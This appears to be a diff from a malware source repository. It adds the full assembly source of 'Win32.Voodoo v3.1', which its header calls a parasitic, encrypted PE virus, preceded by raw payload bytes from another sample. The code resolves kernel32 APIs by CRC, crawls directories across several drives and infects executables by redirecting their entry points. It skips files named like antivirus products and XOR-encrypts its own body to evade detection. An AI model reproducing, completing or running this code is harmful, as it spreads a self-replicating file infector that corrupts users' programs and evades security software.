db 0C0h,075h,012h,0FEh,085h,07Eh,023h,040h,000h,0B0h,0E8h,0AAh,089h,0BDh
|
||||
db 09Eh,023h,040h,000h,0ABh,0EBh,031h,0E8h,085h,0FEh,0FFh,0FFh,00Ch,0B8h
|
||||
db 0AAh,0B8h,034h,099h,040h,000h,08Bh,0DFh,02Bh,0D8h,057h,097h,093h,083h
|
||||
db 0E8h,004h,0ABh,05Fh,0B0h,0C3h,0AAh,06Ah,0FFh,058h,0FFh,095h,006h,020h
|
||||
db 040h,000h,066h,0ABh,0C1h,0E8h,010h,0AAh,0FEh,08Dh,07Eh,023h,040h,000h
|
||||
db 0B0h,01Ah,0FFh,0D6h,03Ch,019h,075h,016h,0E8h,009h,000h,000h,000h,0F8h
|
||||
db 0FCh,0FAh,0F5h,0FBh,090h,0F9h,0FDh,09Eh,05Bh,0B0h,009h,0FFh,0D6h,0D7h
|
||||
db 0AAh,0C3h,03Ch,018h,075h,017h,052h,06Ah,0FFh,058h,0FFh,095h,006h,020h
|
||||
db 040h,000h,092h,0E8h,027h,0FEh,0FFh,0FFh,0E8h,001h,0FEh,0FFh,0FFh,05Ah
|
||||
db 0C3h,03Ch,017h,075h,01Dh,0B0h,08Dh,0AAh,0E8h,014h,0FEh,0FFh,0FFh,03Ch
|
||||
db 005h,074h,0F7h,0C0h,0E0h,003h,00Ch,005h,0AAh,06Ah,0FFh,058h,0FFh,095h
|
||||
db 006h,020h,040h,000h,0ABh,0C3h,08Dh,09Ch,085h,067h,022h,040h,000h,0E8h
|
||||
db 0EAh,0FDh,0FFh,0FFh,074h,003h,0B0h,066h,0AAh,0F6h,043h,003h,03Fh,075h
|
||||
db 003h,0B0h,00Fh,0AAh,08Ah,003h,0AAh,08Ah,043h,003h,024h,0C0h,03Ch,000h
|
||||
db 075h,016h,0B0h,008h,0FFh,095h,006h,020h,040h,000h,08Ah,0C8h,0B0h,008h
|
||||
db 0FFh,095h,006h,020h,040h,000h,08Ah,0E1h,0EBh,02Bh,03Ch,040h,075h,015h
|
||||
db 0E8h,0BAh,0FDh,0FFh,0FFh,08Ah,0C8h,0B0h,008h,0FFh,095h,006h,020h,040h
|
||||
db 000h,08Ah,0E0h,08Ah,0C1h,0EBh,012h,0E8h,0A5h,0FDh,0FFh,0FFh,08Ah,0C8h
|
||||
db 0E8h,09Eh,0FDh,0FFh,0FFh,03Ah,0C1h,074h,0F0h,08Ah,0E1h,00Fh,0B7h,05Bh
|
||||
db 001h,08Dh,09Ch,01Dh,000h,020h,040h,000h,0FFh,0D3h,0C3h
|
4043
Win32/Win32.Vampiro.7018.asm
Normal file
4043
Win32/Win32.Vampiro.7018.asm
Normal file
File diff suppressed because it is too large
Load Diff
4412
Win32/Win32.Voltage.asm
Normal file
4412
Win32/Win32.Voltage.asm
Normal file
File diff suppressed because it is too large
Load Diff
816
Win32/Win32.Voodoo.asm
Normal file
816
Win32/Win32.Voodoo.asm
Normal file
@ -0,0 +1,816 @@
|
||||
; ============================ Win32.Voodoo_v3.1 ===========================
|
||||
; Program : Voodoo v3.1
|
||||
; Description : Parasitic,crypt PE virus
|
||||
; Last modified : 01.09.1999
|
||||
; Purpose : process handling under win32
|
||||
; Target OS : Win95/98/NT
|
||||
; Notes :
|
||||
ImBase equ 00400000h
|
||||
Entyp equ 00001000h
|
||||
ADDC equ ImBase+Entyp+5
|
||||
DiskCount EqU 4
|
||||
FileCount EqU 1
|
||||
SYSTEM32CRC EQU 04C6D9398h
|
||||
.386p
|
||||
.model flat
|
||||
VirSize EQU offset Voodoo_Ver_3_0E - offset Voodoo_Ver_3_1
|
||||
MemSize Equ 2300h
|
||||
extrn ExitProcess:PROC
|
||||
include win32con.inc ; ®¯¨á ¨¥ consts
|
||||
.DATA
|
||||
db 0
|
||||
flag dd 12345678h
|
||||
CheckSum EQU 0B0966F54h
|
||||
CheckSum2 EQU 05E5F512Fh
|
||||
GlobalAllocCRC EQU 01D2925FEh
|
||||
GlobalLockCRC EQU 0BABEC79Dh
|
||||
GlobalUnlockCRC EQU 09EA2AB80h
|
||||
GlobalFreeCRC EQU 0B3BDC497h
|
||||
|
||||
CreateFileACRC EQU 0FE222F03h
|
||||
CreateFileMappingACRC EQU 0CCF0FBCBh
|
||||
MapViewOfFileCRC EQU 0D3DED3B4h
|
||||
UnmapViewOfFileCRC EQU 0A5ADAF97h
|
||||
FlushViewOfFileCRC EQU 0AFBFBF98h
|
||||
ReadFileCRC EQU 0E5E1DAC2h
|
||||
|
||||
CloseHandleCRC EQU 02731310Dh
|
||||
FindFirstFileACRC EQU 0315E6238h
|
||||
FindNextFileACRC EQU 0C7F4F8CFh
|
||||
SetFileAttributesACRC EQU 0EE2112FBh
|
||||
SetFileTimeCRC EQU 012211900h
|
||||
GetFileSizeCRC EQU 01E2D17F3h
|
||||
GetCommandLineACRC EQU 08CBFBF94h
|
||||
lstrcpyACRC EQU 001342E28h
|
||||
SetFilePointerCRC EQU 065676742h
|
||||
GetCurrentDirectoryCRC EQU 0E012FECDh
|
||||
SetCurrentDirectoryCRC EQU 0E012FED9h
|
||||
GetSystemTimeCRC EQU 018271EF9h
|
||||
_GlobalUnlock EQU 0
|
||||
_GlobalFree EQU _GlobalUnlock+4
|
||||
_CreateFileA EQU _GlobalFree+4
|
||||
_CreateFileMappingA EQU _CreateFileA+4
|
||||
_MapViewOfFile EQU _CreateFileMappingA+4
|
||||
_UnmapViewOfFile EQU _MapViewOfFile+4
|
||||
_FlushViewOfFile EQU _UnmapViewOfFile+4
|
||||
_CloseHandle EQU _FlushViewOfFile+4
|
||||
_FindFirstFileA EQU _CloseHandle+4
|
||||
_FindNextFileA EQU _FindFirstFileA+4
|
||||
_SetFileAttributesA EQU _FindNextFileA+4
|
||||
_SetFileTime EQU _SetFileAttributesA+4
|
||||
_GetFileSize EQU _SetFileTime+4
|
||||
_GetCommandLineA EQU _GetFileSize+4
|
||||
_ReadFile EQU _GetCommandLineA+4
|
||||
_lstrcpyA EQU _ReadFile+4
|
||||
_SetFilePointer EQU _lstrcpyA+4
|
||||
_GetCurrentDirectory EQU _SetFilePointer+4
|
||||
_SetCurrentDirectory EQU _GetCurrentDirectory+4
|
||||
_GetSystemTime EQU _SetCurrentDirectory+4
|
||||
OldEBP EQU _GetSystemTime+4
|
||||
FileSize EQU OldEBP+4
|
||||
HhendleOfFile EQU FileSize+4
|
||||
HhendleOfMapFile EQU HhendleOfFile+4
|
||||
Pointer2MapFile EQU HhendleOfMapFile+4
|
||||
tag EQU Pointer2MapFile+4
|
||||
SearcHandle EQU tag+2
|
||||
SearcHandle2 EQU SearcHandle+4
|
||||
systemtime EQU SearcHandle2+4
|
||||
CODEBUF EQU systemtime +16
|
||||
CommandLine EQU CODEBUF+VirSize
|
||||
CurDir EQU CommandLine+800
|
||||
CurDir2 EQU CurDir+800
|
||||
Win32FindData EQU CurDir2 +800
|
||||
CreationTime EQU Win32FindData+4
|
||||
LastAccessTime EQU CreationTime+4
|
||||
LastWriteTime EQU LastAccessTime+4
|
||||
files EQU LastWriteTime+32
|
||||
|
||||
NumberOfBytesRead EQU MemSize-4
|
||||
.CODE
|
||||
@Name_Pointers_RVA EQU offset Name_Pointers_RVA - offset EntryPoint_
|
||||
@GetProcAddress EQU offset GetProcAddress - offset EntryPoint_
|
||||
@KernelHandle EQU offset KernelHandle - offset EntryPoint_
|
||||
@_GlobalAlloc EQU offset _GlobalAlloc - offset EntryPoint_
|
||||
@_GlobalLock EQU offset _GlobalLock - offset EntryPoint_
|
||||
@MemPointer EQU offset MemPointer - offset EntryPoint_
|
||||
@NextCode EQU offset NextCode - offset EntryPoint_
|
||||
@Dirmask EQU offset Dirmask - offset EntryPoint_
|
||||
@mask EQU offset mask - offset EntryPoint_
|
||||
@disk EQU offset disk - offset EntryPoint_
|
||||
@EntryPointRVA EQU offset EntryPointRVA - offset EntryPoint_
|
||||
@ImportTable EQU offset ImportTable - offset EntryPoint_
|
||||
@EndImportTable EQU offset EndImportTable - offset EntryPoint_
|
||||
Voodoo_Ver_3_1:
|
||||
Call EntryPoint_
|
||||
EntryPoint_:
|
||||
;find MZ in memory
|
||||
;----------------------
|
||||
popravka EQU offset CryptBegin - offset Voodoo_Ver_3_1
|
||||
INCAX EQU offset @INCAX - offset Voodoo_Ver_3_1
|
||||
CRCcode EQU offset @CRCcode - offset Voodoo_Ver_3_1
|
||||
mov al,00
|
||||
call _k
|
||||
_k:pop esi
|
||||
|
||||
mov ecx,VirSize - popravka
|
||||
add esi,offset CryptBegin- offset _k ;10h+18+6
|
||||
mov ebp,esp
|
||||
crypt: xor byte ptr [esi],al
|
||||
mov dword ptr [ebp+18],12345678h
|
||||
cmp dword ptr [ebp+18+1],12345678h
|
||||
jne k
|
||||
jmp Voodoo_Ver_3_0E
|
||||
k: inc esi
|
||||
@INCAX:db 90h, 90h, 90h ;add ax,cx
|
||||
loop crypt
|
||||
CryptBegin:
|
||||
;----------------------
|
||||
popravka2 EQU offset CryptBegin2 - offset Voodoo_Ver_3_1
|
||||
INCAX2 EQU offset @INCAX2 - offset Voodoo_Ver_3_1
|
||||
@CRCcode:
|
||||
mov al,00
|
||||
call _k2
|
||||
_k2:pop esi
|
||||
|
||||
mov ecx,VirSize - popravka2
|
||||
add esi,offset CryptBegin2- offset _k2 ;10h+18+6
|
||||
mov ebp,esp
|
||||
crypt2: xor byte ptr [esi],al
|
||||
mov dword ptr [ebp+18],12345678h
|
||||
cmp dword ptr [ebp+18+1],12345678h
|
||||
jne k2
|
||||
jmp Voodoo_Ver_3_0E
|
||||
k2: inc esi
|
||||
@INCAX2:db 90h, 90h, 90h ;add ax,cx
|
||||
loop crypt2
|
||||
CryptBegin2:
|
||||
;----------------------
|
||||
call _ESI
|
||||
_ESI: pop esi
|
||||
pop ecx
|
||||
call ScanMZ
|
||||
; in esi PE header
|
||||
add esi,80h
|
||||
add edi,dword ptr [esi] ;Import RVA
|
||||
jmp @L1
|
||||
NotKERNEL32:
|
||||
MOV EBX,EBP
|
||||
add edi,00014h
|
||||
@L1:
|
||||
cmp dword ptr [edi+0ch],000000h
|
||||
je NOtFound
|
||||
add ebx,dword ptr [edi+0ch] ;RVA NAme of dll
|
||||
call CRCSum
|
||||
cmp eax,CheckSum
|
||||
jne NotKERNEL32
|
||||
push ebp
|
||||
pop esi
|
||||
add ESI,DWORD ptr [edi+10h] ;KERNEL32 proc
|
||||
mov esi,dword ptr [esi]
|
||||
cmp byte ptr [esi+5],0e9h ; win98
|
||||
jne Ok_
|
||||
add esi,dword ptr [esi+6]
|
||||
Ok_:call ScanMZ
|
||||
;push EBP ;Hendle of KERNEL32.dll
|
||||
add esi,78h
|
||||
add edi,dword ptr [esi] ; edi=Export Directory Table RVA
|
||||
mov eax,ebp
|
||||
add eax,dword ptr [edi+1ch] ; Address Table
|
||||
push eax
|
||||
mov edx,ebp
|
||||
add edx,dword ptr [edi+24h] ; Ordinal Table
|
||||
add ebx,dword ptr [edi+20h] ;ebx=Name Pointers RVA
|
||||
mov dword ptr [ecx+@Name_Pointers_RVA],ebx
|
||||
mov esi,ebx
|
||||
push ecx
|
||||
mov ecx,dword ptr [edi+18h] ; Num of Name Pointers
|
||||
push ecx
|
||||
@L2:call ScanNameTable
|
||||
cmp eax,CheckSum2
|
||||
je FoundGetProcAdr
|
||||
inc esi
|
||||
inc esi
|
||||
inc esi
|
||||
inc esi
|
||||
loop @L2
|
||||
FoundGetProcAdr:
|
||||
pop eax
|
||||
sub eax,ecx ; #function
|
||||
shl eax,1 ; x2
|
||||
; Ordinal Table
|
||||
add edx,eax ;
|
||||
xor eax,eax
|
||||
mov ax,word ptr [edx] ;Ordinal of GetProcAddress
|
||||
shl eax,2 ;x4
|
||||
pop ecx ;entry
|
||||
pop ebx ; offset to Address Table
|
||||
add ebx,eax
|
||||
mov eax,dword ptr [ebx]
|
||||
add eax,ebp
|
||||
mov [@GetProcAddress+ecx],eax
|
||||
mov [@KernelHandle+ecx],ebp
|
||||
mov edx,GlobalAllocCRC
|
||||
call CalkProcAdress
|
||||
mov [@_GlobalAlloc+ecx],eax
|
||||
mov edx,GlobalLockCRC
|
||||
call CalkProcAdress
|
||||
mov [@_GlobalLock+ecx],eax
|
||||
push ecx
|
||||
push MemSize
|
||||
push 0
|
||||
call dword ptr [@_GlobalAlloc+ecx]
|
||||
pop ecx
|
||||
push ecx
|
||||
push eax
|
||||
call dword ptr [@_GlobalLock+ecx]
|
||||
pop ecx
|
||||
mov [@MemPointer+ecx],eax
|
||||
mov eBX,eax
|
||||
mov edi,eax
|
||||
mov esi,@ImportTable
|
||||
add esi,ecx
|
||||
MakeImport:
|
||||
mov edx,dword ptr [esi]
|
||||
call CalkProcAdress
|
||||
cld
|
||||
stosd
|
||||
inc esi
|
||||
inc esi
|
||||
inc esi
|
||||
inc esi
|
||||
cmp word ptr [esi],6666h
|
||||
jne MakeImport
|
||||
mov ebp,ecx ; entry !
|
||||
;--------------------
|
||||
|
||||
;####################
|
||||
call Infect
|
||||
;####################
|
||||
mov esi,ebp
|
||||
sub esi,5
|
||||
mov edi,CODEBUF
|
||||
add edi,ebx ;MemPointer
|
||||
cld
|
||||
mov ecx,VirSize
|
||||
rep movsb
|
||||
NOtFound:
|
||||
cmp [flag],12345678h
|
||||
jne Ret2Prog
|
||||
push 0
|
||||
call ExitProcess
|
||||
Ret2Prog: mov [OldEBP+ebx],ebp
|
||||
mov esi,ebx
|
||||
mov ebp,esi
|
||||
add esi,@NextCode+CODEBUF+5
|
||||
add ebp,CODEBUF+5
|
||||
jmp esi
|
||||
NextCode:
|
||||
call GetCommandLineA
|
||||
mov esi,eax
|
||||
cmp byte ptr [esi+1],':' ;for win9x
|
||||
je NormalCommandLine
|
||||
inc eax
|
||||
NormalCommandLine:
|
||||
push eax
|
||||
mov eax,CommandLine
|
||||
add eax,ebx
|
||||
push eax
|
||||
call lstrcpyA
|
||||
mov esi,CommandLine
|
||||
add esi,ebx
|
||||
push esi
|
||||
@L3: inc esi
|
||||
cmp byte ptr [esi],'.'
|
||||
jne @L3
|
||||
mov byte ptr [esi+4],0
|
||||
pop eax
|
||||
push NULL
|
||||
push FILE_ATTRIBUTE_ARCHIVE
|
||||
push OPEN_EXISTING
|
||||
push NULL
|
||||
push FILE_SHARE_READ ;or FILE_SHARE_WRITE
|
||||
push GENERIC_READ ;or GENERIC_WRITE
|
||||
push eax
|
||||
call CreateFileA
|
||||
mov [HhendleOfFile+ebx],eax
|
||||
push eax
|
||||
push NULL
|
||||
push eax
|
||||
call GetFileSize
|
||||
mov edx,eax
|
||||
sub edx,VirSize
|
||||
pop eax
|
||||
push eax
|
||||
|
||||
push 0
|
||||
push NULL
|
||||
push edx
|
||||
push eax
|
||||
call SetFilePointer
|
||||
pop eax
|
||||
mov edx,[ebx+OldEBP]
|
||||
sub edx,5
|
||||
push edx
|
||||
push NULL
|
||||
mov ecx,NumberOfBytesRead
|
||||
add ecx,ebx
|
||||
push ecx
|
||||
push VirSize
|
||||
push edx
|
||||
push eax
|
||||
call ReadFile
|
||||
pop esi
|
||||
call _EDI
|
||||
EntryPointRVA: dd 0
|
||||
_EDI: pop edi
|
||||
add esi,dword ptr [edi]
|
||||
jmp esi
|
||||
;----------------------------------------------------------
|
||||
PushWin32FindData:
|
||||
mov edx,Win32FindData
|
||||
add edx,ebx
|
||||
ret
|
||||
InfectDir:
|
||||
mov eax,CurDir2
|
||||
add eax,ebx
|
||||
push eax ;
|
||||
push 800
|
||||
call GetCurrentDirectory
|
||||
call Infect_All_files
|
||||
call PushWin32FindData
|
||||
push edx
|
||||
|
||||
mov eax,ebp
|
||||
add eax,@Dirmask
|
||||
push eax
|
||||
call FindFirstFileA
|
||||
mov dword ptr [SearcHandle+ebx],eax
|
||||
l2: call PushWin32FindData
|
||||
push edx
|
||||
push dword ptr [SearcHandle+ebx]
|
||||
call FindNextFileA
|
||||
or eax,eax
|
||||
jz ExitFromProcInfectDir
|
||||
cmp byte ptr [files+ebx],'.'
|
||||
je l2
|
||||
mov eax,[Win32FindData+ebx]
|
||||
and eax,FILE_ATTRIBUTE_DIRECTORY
|
||||
jz l2
|
||||
;set new dir
|
||||
mov edx,CurDir2
|
||||
add edx,ebx
|
||||
push edx
|
||||
call SetCurrentDirectory
|
||||
mov edx,files
|
||||
add edx,ebx
|
||||
; SYSTEM32 ?
|
||||
push ebx
|
||||
mov ebx,edx
|
||||
call CRCSum
|
||||
pop ebx
|
||||
cmp eax,SYSTEM32CRC
|
||||
je l2 ;DoNotInfect
|
||||
push edx
|
||||
call SetCurrentDirectory
|
||||
call Infect_All_files
|
||||
jmp l2
|
||||
ExitFromProcInfectDir:
|
||||
ret
|
||||
;----------------------------------------------------------
|
||||
Infect_All_files:
|
||||
call PushWin32FindData
|
||||
push edx
|
||||
mov edx,@mask
|
||||
add edx,ebp
|
||||
push edx
|
||||
xor ecx,ecx
|
||||
call FindFirstFileA
|
||||
mov dword ptr [SearcHandle2+ebx],eax
|
||||
cmp eax,-1
|
||||
je l2__
|
||||
Next: or eax,eax
|
||||
jz l2__
|
||||
cmp ecx,FileCount
|
||||
jge l2__
|
||||
inc ecx
|
||||
push ecx
|
||||
call InfectFile
|
||||
call PushWin32FindData
|
||||
push edx
|
||||
push dword ptr [SearcHandle2+ebx]
|
||||
call FindNextFileA
|
||||
pop ecx
|
||||
cmp di,9999h
|
||||
jne Noerrror
|
||||
dec ecx
|
||||
xor edi,edi
|
||||
Noerrror:
|
||||
jmp Next
|
||||
l2__: ret
|
||||
;-----------------------------------------------------------
|
||||
Infect:
|
||||
mov eax,CurDir
|
||||
add eax,ebx
|
||||
push eax ;
|
||||
push 800
|
||||
call GetCurrentDirectory
|
||||
call InfectDir
|
||||
mov ecx,DiskCount
|
||||
Scan: push ecx
|
||||
mov eax,@disk
|
||||
add eax,ebp
|
||||
push eax
|
||||
call SetCurrentDirectory
|
||||
call InfectDir
|
||||
inc byte ptr [@disk+ebp]
|
||||
pop ecx
|
||||
loop Scan
|
||||
mov eax,CurDir
|
||||
add eax,ebx
|
||||
push eax ;
|
||||
call SetCurrentDirectory
|
||||
ret
|
||||
;----------------------------------------------------------
|
||||
InfectFile:
|
||||
mov eax,ebx
|
||||
add eax,files
|
||||
cmp word ptr [eax],'-F' ;F-port
|
||||
je @AV
|
||||
cmp word ptr [eax],'WA' ; AW ?
|
||||
je @AV
|
||||
cmp word ptr [eax],'VA' ; AV?????
|
||||
je @AV
|
||||
cmp word ptr [eax+1],'VA' ;NAV,PAV,RAV,_AVP???
|
||||
je @AV
|
||||
cmp word ptr [eax+3],'BE' ;drWeb
|
||||
je @AV
|
||||
cmp word ptr [eax+2],'DN' ;PANDA
|
||||
je @AV
|
||||
cmp dword ptr [eax],'ITNA';ANTI???
|
||||
je @AV
|
||||
cmp dword ptr [eax],'FASV';VSAF???
|
||||
je @AV
|
||||
cmp dword ptr [eax],'PWSV';VSWP???
|
||||
je @AV
|
||||
cmp dword ptr [eax],'VASF';FSAV???
|
||||
je @AV
|
||||
|
||||
push eax
|
||||
push 00000020h
|
||||
push eax
|
||||
call SetFileAttributesA
|
||||
pop eax
|
||||
push NULL
|
||||
push FILE_ATTRIBUTE_ARCHIVE
|
||||
push OPEN_EXISTING
|
||||
push NULL
|
||||
push FILE_SHARE_READ or FILE_SHARE_WRITE
|
||||
push GENERIC_READ or GENERIC_WRITE
|
||||
push eax
|
||||
call CreateFileA
|
||||
cmp eax,-1
|
||||
je Error__
|
||||
call LoadMemPointer
|
||||
mov [HhendleOfFile+ebx],eax
|
||||
push ebx
|
||||
push NULL
|
||||
push eax
|
||||
call GetFileSize
|
||||
pop ebx
|
||||
mov [FileSize+ebx],eax
|
||||
Point@ret:push edx
|
||||
push eax ; to MApViewofFile
|
||||
push NULL
|
||||
push eax
|
||||
push NULL
|
||||
push PAGE_READWRITE
|
||||
push NULL
|
||||
push dword ptr [HhendleOfFile+ebx]
|
||||
call CreateFileMappingA
|
||||
mov [HhendleOfMapFile+ebx],eax
|
||||
; v steke Size
|
||||
push 0
|
||||
push 0
|
||||
push FILE_MAP_WRITE
|
||||
push eax
|
||||
call MapViewOfFile
|
||||
mov [Pointer2MapFile+ebx],eax
|
||||
pop edx
|
||||
cmp word ptr [tag+ebx],6666h
|
||||
je OkOb
|
||||
mov esi,eax
|
||||
CMP byte ptr [esi+18h],40h
|
||||
jl OOO
|
||||
cmp dword ptr [esi+3ch],00010000h
|
||||
jg OOO
|
||||
mov edi,dword ptr [esi+3ch]
|
||||
cmp dword ptr [esi+edi],00004550h ;PE Only !
|
||||
jne OOO
|
||||
cmp dword ptr [esi+6fh],334e4957h ;'WIN3' Infected ?
|
||||
je OOO
|
||||
;find CODE object
|
||||
mov [systemtime+ebx],esi
|
||||
;
|
||||
add esi,edi
|
||||
mov eax,dword ptr [esi+80h] ;Import Table RVA
|
||||
push eax
|
||||
xor ecx,ecx
|
||||
mov cx,word ptr [esi+6h] ;Num of Object
|
||||
MOV EDX,DWORD ptr [esi+28h] ; Entry point RVA
|
||||
mov dword ptr [ebp+@EntryPointRVA],edx
|
||||
mov edx,esi
|
||||
mov eax,24
|
||||
add ax,word ptr [esi+14h]
|
||||
mov edi,esi
|
||||
add edi,eax ;edi=Object Table
|
||||
pop eax ;Import Table RVA
|
||||
pusha
|
||||
mov edx,eax
|
||||
Find_Import_Table:
|
||||
dec ecx
|
||||
mov eax,dword ptr [edi+0ch] ; Object RVA
|
||||
cmp edx,eax
|
||||
jge Mabe
|
||||
IncEDI: add edi,28h
|
||||
or ecx,ecx
|
||||
je Not_Find
|
||||
jmp Find_Import_Table
|
||||
Mabe: add eax,dword ptr [edi+10h] ; SIZE
|
||||
CMP EDX,EAX ; Object RVA =< Import Table RVA =< Object RVA + Phisikal Size
|
||||
jle L22
|
||||
jmp IncEDI
|
||||
L22:
|
||||
mov esi,[Pointer2MapFile+ebx]
|
||||
push edx
|
||||
sub edx,dword ptr [edi+0ch]
|
||||
add esi,edx
|
||||
mov eax,dword ptr [edi+14h] ;Phis offset
|
||||
add esi,eax
|
||||
pop edx ; ESI = Phis offset Import Table
|
||||
mov ecx,dword ptr [edi+0ch] ; Object RVA
|
||||
ECTLI_KERNEL:
|
||||
mov edi,dword ptr [esi+0ch] ; EDI=Name RVA
|
||||
cmp edi,NULL ;
|
||||
je KERNEL_HET
|
||||
sub edi,ecx
|
||||
add edi,eax ; EAX= Phis offset
|
||||
add edi,[Pointer2MapFile+ebx]
|
||||
cmp dword ptr [edi],'NREK';KERNEL
|
||||
je KERNEL_ECT
|
||||
add esi,14h
|
||||
jmp ECTLI_KERNEL
|
||||
KERNEL_HET:
|
||||
Not_Find: popa
|
||||
jmp Code_Not_Find
|
||||
KERNEL_ECT: popa
|
||||
_loop: db 08Bh,47h,24h ;mov eax,dword [edi+024h]
|
||||
EXEC_FLAG EQU 20000020h
|
||||
and eax,EXEC_FLAG
|
||||
jnz Code_Object
|
||||
add edi,2ch
|
||||
loop _loop
|
||||
jmp Code_Not_Find
|
||||
Code_Object:
|
||||
;chek object size
|
||||
cmp dword ptr [edi+10h],VirSize
|
||||
jl Code_Not_Find
|
||||
push esi
|
||||
mov esi,dword ptr [systemtime+ebx]
|
||||
mov dword ptr [esi+6fh],334e4957h
|
||||
pop esi
|
||||
; make writeble
|
||||
or dword ptr [edi+24h],80000000h
|
||||
mov eax,dword ptr [edi+0ch] ;object RVA
|
||||
sub dword ptr [ebp+@EntryPointRVA],eax
|
||||
mov dword ptr [edx+28h],eax ; Set New Entry Point RVA
|
||||
; save old Programm
|
||||
call CloseMapping
|
||||
mov word ptr [ebx+tag],06666h
|
||||
mov eax,dword ptr [ebx+FileSize]
|
||||
push eax
|
||||
add eax,VirSize
|
||||
jmp Point@ret
|
||||
OkOb: mov word ptr [ebx+tag],09999h
|
||||
mov esi,dword ptr [edi+14h] ;phisical offset
|
||||
add esi,dword ptr [ebx+Pointer2MapFile]
|
||||
;add esi,edx
|
||||
pop edi
|
||||
add edi,dword ptr [ebx+Pointer2MapFile]
|
||||
mov ecx,VirSize
|
||||
push esi ;CODE
|
||||
push esi
|
||||
cld
|
||||
rep movsb
|
||||
;write bady to program
|
||||
mov esi,ebp
|
||||
sub esi,5
|
||||
pop edi ; CODE
|
||||
mov ecx,VirSize
|
||||
cld
|
||||
rep movsb
|
||||
mov eax,ebx
|
||||
add eax,systemtime
|
||||
push eax
|
||||
call GetSystemTime
|
||||
mov ax,word ptr [ebx+systemtime+14]
|
||||
pop esi
|
||||
mov byte ptr [esi+6],al
|
||||
mov byte ptr [esi+CRCcode+1],al ; ?
|
||||
mov dword ptr [esi+INCAX],0e2c10366h ;inc ax
|
||||
mov dword ptr [esi+INCAX2],0e2c10366h ;inc ax
|
||||
push esi
|
||||
push eax
|
||||
mov ecx,VirSize- popravka2
|
||||
add esi,offset CryptBegin2- offset Voodoo_Ver_3_1;
|
||||
crypt_2: xor byte ptr [esi],al
|
||||
add ax,cx
|
||||
inc esi
|
||||
loop crypt_2
|
||||
pop eax
|
||||
POP esi
|
||||
mov ecx,VirSize- popravka
|
||||
add esi,offset CryptBegin- offset Voodoo_Ver_3_1;2eh+6
|
||||
crypt_: xor byte ptr [esi],al
|
||||
add ax,cx
|
||||
inc esi
|
||||
loop crypt_
|
||||
|
||||
Code_Not_Find:
|
||||
OOO2: call CloseMapping
|
||||
Error__2: call PushWin32FindData
|
||||
push dword ptr [edx]
|
||||
mov eax,ebx
|
||||
add eax,files
|
||||
push eax
|
||||
call SetFileAttributesA
|
||||
@AV: ret
|
||||
OOO: mov di,9999h
|
||||
jmp OOO2
|
||||
Error__: mov di,9999h
|
||||
jmp Error__2
|
||||
|
||||
;--------------------------------------------------------
|
||||
CalkProcAdress: push ecx
|
||||
push esi
|
||||
push edi
|
||||
mov esi,@Name_Pointers_RVA
|
||||
add esi,ecx
|
||||
mov esi,dword ptr [esi]
|
||||
fCRC: call ScanNameTable
|
||||
cmp eax,edx
|
||||
je foCRC
|
||||
inc esi
|
||||
inc esi
|
||||
inc esi
|
||||
inc esi
|
||||
jmp fCRC
|
||||
foCRC:
|
||||
mov eax,dword ptr [esi]
|
||||
add eax,ebp
|
||||
push eax
|
||||
mov eax,@KernelHandle
|
||||
add eax,ecx
|
||||
push dword ptr [eax]
|
||||
call dword ptr [@GetProcAddress+ecx]
|
||||
pop edi
|
||||
pop esi
|
||||
pop ecx
|
||||
ret
|
||||
;--------------------------------------------------------
|
||||
ScanNameTable:
|
||||
PUSH EBX
|
||||
push ecx
|
||||
mov ebx,ebp
|
||||
add ebx,dword ptr [esi]
|
||||
call CRCSum
|
||||
pop ecx
|
||||
POP EBX
|
||||
ret
|
||||
;--------------------------------------------------------
|
||||
CRCSum: xor eax,eax
|
||||
Sum: add eax,dword ptr [ebx]
|
||||
cmp byte ptr [ebx+4],0
|
||||
je ExitfromCRCSum
|
||||
inc ebx
|
||||
jmp Sum
|
||||
ExitfromCRCSum:
|
||||
ret
|
||||
;--------------------------------------------------------
|
||||
ScanMZ:
|
||||
push ecx ; \/
|
||||
and si,1111000000000000b
|
||||
ScanMZ_:
|
||||
sub esi,1000h
|
||||
cmp word ptr [esi],'ZM'
|
||||
jne ScanMZ_
|
||||
mov edi,esi
|
||||
mov ebx,esi
|
||||
MOV EBP,ESI
|
||||
push esi
|
||||
cmp dword ptr [esi+3ch],00010000h
|
||||
jg NextMZ
|
||||
add esi,dword ptr [esi+3ch]
|
||||
cmp dword ptr [esi],004550h
|
||||
NextMZ:pop esi
|
||||
jne ScanMZ_
|
||||
add esi,dword ptr [esi+3ch]
|
||||
pop ecx
|
||||
ret
|
||||
;---Local ----------
|
||||
CloseMapping:
|
||||
push edx
|
||||
push dword ptr [Pointer2MapFile+ebx]
|
||||
call UnmapViewOfFile
|
||||
push dword ptr [HhendleOfMapFile+ebx]
|
||||
call CloseHandle
|
||||
pop edx
|
||||
ret
|
||||
;--------------------------------------------------------
|
||||
LoadMemPointer:
|
||||
mov ebx,dword ptr ds:[ebp+@MemPointer]
|
||||
ret
|
||||
;----Import---------
|
||||
GetFileSize: call LoadMemPointer
|
||||
jmp dword ptr ds:[ebx+_GetFileSize]
|
||||
CreateFileA: call LoadMemPointer
|
||||
jmp dword ptr ds:[ebx+_CreateFileA]
|
||||
CreateFileMappingA:
|
||||
call LoadMemPointer
|
||||
jmp dword ptr ds:[ebx+_CreateFileMappingA]
|
||||
MapViewOfFile:
|
||||
call LoadMemPointer
|
||||
jmp dword ptr ds:[ebx+_MapViewOfFile]
|
||||
UnmapViewOfFile:
|
||||
call LoadMemPointer
|
||||
jmp dword ptr ds:[ebx+_UnmapViewOfFile]
|
||||
FlushViewOfFile:
|
||||
call LoadMemPointer
|
||||
jmp dword ptr ds:[ebx+_FlushViewOfFile]
|
||||
CloseHandle: call LoadMemPointer
|
||||
jmp dword ptr ds:[ebx+_CloseHandle]
|
||||
GetCommandLineA:
|
||||
call LoadMemPointer
|
||||
jmp dword ptr ds:[ebx+_GetCommandLineA]
|
||||
lstrcpyA: call LoadMemPointer
|
||||
jmp dword ptr ds:[ebx+_lstrcpyA]
|
||||
ReadFile: call LoadMemPointer
|
||||
jmp dword ptr ds:[ebx+_ReadFile]
|
||||
SetFilePointer: call LoadMemPointer
|
||||
jmp dword ptr ds:[ebx+_SetFilePointer]
|
||||
FindFirstFileA: call LoadMemPointer
|
||||
jmp dword ptr ds:[ebx+_FindFirstFileA]
|
||||
FindNextFileA: call LoadMemPointer
|
||||
jmp dword ptr ds:[ebx+_FindNextFileA]
|
||||
GetCurrentDirectory:
|
||||
call LoadMemPointer
|
||||
jmp dword ptr ds:[ebx+_GetCurrentDirectory]
|
||||
SetCurrentDirectory:
|
||||
call LoadMemPointer
|
